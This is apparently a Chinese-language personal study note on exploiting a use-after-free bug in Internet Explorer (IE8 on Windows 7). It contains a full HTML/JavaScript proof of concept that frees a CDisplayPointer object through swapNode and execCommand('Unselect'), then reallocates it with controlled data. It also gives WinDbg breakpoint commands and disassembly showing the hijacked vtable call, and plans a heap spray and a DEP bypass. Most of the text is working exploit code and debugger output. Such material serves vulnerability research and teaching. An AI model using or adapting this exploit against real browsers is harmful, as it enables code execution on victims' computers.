个人笔记 学习来源 于网络 如有雷同 纯属巧合~~~~~~
堆喷射 只是说 如果能找到IE 或者 控件插件的漏洞 可以控制程序的流程,执行我们想要的功能,但还不是一个意义上的“漏洞”,只能算是一种捷径吧,现在已经有不用堆喷射实现EXP的例子了。
首先曾经很困扰我的是 heap 回溯保护 开启页堆 开启它是在 分析之前,不知道在哪里断下时候才用的,当我们知道后应该去掉它,否者你在占位时就不对了,这个是我的傻逼问题之一。
在POC 中 提示字符,也可以当做下断好时机 (为什么要用它解释一下: 你在附加IE进程后下断 可能还没有运行POC就断下了)
Math.atan2(0xbabe, "[*] XXX信息...");
bu jscript!JsAtan2 ".printf "%mu",poi(poi(poi(esp+14)+8)+8);.echo;g"
sxe ld:jscript 在 jscript DLL加载时 断下
本文POC:
<html> <head> <script> var data = ""; var war = new Array(); var godzilla ; var minilla ; var battleStation = false; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); } else { data += "u4141u4141"; } } data += "u4141"; function fun_onselect() { Math.atan2(0x999, "[*] Before swapNode"); minilla.swapNode(document.createElement("div")); // 调用swapNode,通过交换节点从页面布局删除 textarea了,同时触发 onpropertychange 事件; Math.atan2(0x999, "[*] After swapNode"); } // fun_onpropertychange第一次被调用时是因为改变了DOM,第二次调用是由swapNode导致的,立即进行内存占位 function fun_onpropertychange() { Math.atan2(0x999, "[*] Enter onpropertychange"); if (battleStation == true) { for (i=0; i<50; i++) { war.push(document.createElement("span")); } } Math.atan2(0x999, "[*] Before Unselect"); document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤销 select ,导致了CDisplayPointer对象被释放 Math.atan2(0x999, "[*] After Unselect"); if (battleStation == true) // 对已经释放的CDisplayPointer内存进行占位 { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } Math.atan2(0x999, "[*] Leave onpropertychange"); } function kaiju() { godzilla = document.createElement("textarea"); // Create a CTextArea Object minilla = document.createElement("pre"); document.body.appendChild(godzilla);//body -> textarea godzilla.appendChild(minilla); //textarea -> pre godzilla.onselect = fun_onselect ; // 给textarea元素设置 select 处理函数,当textarea文本框被选中时触发并调用处理函数 Math.atan2(0x999, "[*] Before godzilla.onpropertychange"); godzilla.onpropertychange = fun_onpropertychange ; // 给textarea元素设置 onpropertychange 事件处理函数,当属性变化时触发调用 Math.atan2(0x999, "[*] After godzilla.onpropertychange"); Math.atan2(0x999, "[*] Before godzilla.select()"); godzilla.select(); // 主动触发 select 处理函数 Math.atan2(0x999, "[*] After godzilla.select()"); } </script> </head> <body onload='kaiju()'> </body> </html>
这里的例子 即使不开启页堆 也可以分析。 所以这里不演示页堆开启效果 下个例子可能有这个~_~
6b55d53e 8b03 mov eax,dword ptr [ebx] 6b55d540 8365e800 and dword ptr [ebp-18h],0 6b55d544 8d4de8 lea ecx,[ebp-18h] 6b55d547 51 push ecx 6b55d548 688cd5556b push offset mshtml!IID_IProxyManager (6b55d58c) 6b55d54d 53 push ebx 6b55d54e bf02400080 mov edi,80004002h 6b55d553 ff10 call dword ptr [eax] ds:0023:20302020=????????
重新开始 下断 mshtml!QIClassID+0x30 结构发现了 ebx VTABLE 是20302020 那么接着构造 堆喷射
6b55d53e 8b03 mov eax,dword ptr [ebx] ds:0023:002d88dc=20302020 6b55d540 8365e800 and dword ptr [ebp-18h],0 6b55d544 8d4de8 lea ecx,[ebp-18h] 6b55d547 51 push ecx 6b55d548 688cd5556b push offset mshtml!IID_IProxyManager (6b55d58c) 6b55d54d 53 push ebx 6b55d54e bf02400080 mov edi,80004002h 6b55d553 ff10 call dword ptr [eax]
可以开始构造最终POC了 用 以前学习的 win7 ie8 的rb生成喷射 网页 修改后 POC为:
WIN7 ENGLISH IE8 默认DEP什么的
一般 系统 都用的 Java 6 ROP 但是我不用它了,没多大意义,就试试 大牛们说的 不需ROP的方法吧 后面学~_~